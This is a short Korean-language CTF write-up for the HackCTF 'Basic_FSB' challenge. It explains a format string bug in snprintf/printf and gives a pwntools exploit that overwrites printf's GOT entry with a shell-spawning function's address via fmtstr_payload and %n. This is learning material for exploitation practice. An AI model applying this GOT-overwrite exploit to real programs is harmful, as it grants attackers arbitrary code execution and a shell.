Wargame/HackCTF
Basic_FSB
Anatis
2021. 3. 16. 00:32
이번 문제는 FSB(Format String Bug)문제이다. 일단 메모리 보호기법을 살펴보자
1. Mitigation
보호 기법은 Partial RELRO인거 말고는 아무것도 걸려있지 않다 GOT overwrite가 가능하다.
2. 문제 확인
프로그램을 실행 시키면 input 문자열이 출력되고 %8x을 입력한 결과 2번째에서 41414141이 나오는 것을 볼 수 있다.
3. 문제 풀이
IDA를 이용해 main함수 부분을 보면 vuln 함수가 있는것을 확인할 수 있다.
vuln 함수 부분을 보면 snprintf와 printf가 format 인자를 그대로 받는다 여기서 Format String Bug가 생긴다
flag 함수는 쉘을 시켜주는 역할을 한다. 그렇다면 GOT overwrite가 가능하니 snprintf나 printf를 flag 함수의 주소로 덮어주면 쉘을 획들할 수 있다.
exploit
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3002)
elf = ELF('./basic_fsb')
printf_got = elf.got['printf']
shell = elf.symbols['flag']
log.info('shell = ' + hex(shell))
log.info('printf = ' + hex(printf_got))
payload = ''
payload += fmtstr_payload(2, {printf_got : shell})
# payload = p32(printf_got)
# payload += '%134514096x'
# payload += '%n'
r.send(payload)
r.interactive()